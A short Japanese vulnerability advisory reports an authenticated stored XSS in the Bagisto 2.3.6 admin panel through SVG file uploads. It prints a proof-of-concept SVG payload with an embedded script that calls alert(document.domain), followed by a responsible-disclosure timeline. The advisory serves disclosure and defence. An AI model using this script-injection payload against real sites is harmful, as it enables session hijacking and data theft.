
Bagisto 2.3.6 の管理パネルの製品作成パスに、認証済みの格納型 XSS 脆弱性が存在します。攻撃者は、悪意のある JavaScript コードを含む細工された SVG ファイルをアップロードできます。この脆弱性は、認証済みの管理者ユーザーによって悪用され、ブラウザ上で任意の JavaScript を実行させ、セッションハイジャック、データ窃取、または不正な操作につながる可能性があります。
この脆弱性は、認証済みの管理者が悪意のある JavaScript を含む細工された SVG ファイルをアップロードすると悪用されます。
再現手順:
悪意のある SVG ペイロードの例:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
| 日付 | 対応 |
|---|---|
| 2025 AUG | 脆弱性を発見 |
| 2025 AUG | 責任ある開示 |
| 2025 AUG | MITRE に CVE ID を申請 |
| 2025 OCT | CVE 採番、公開開示 |
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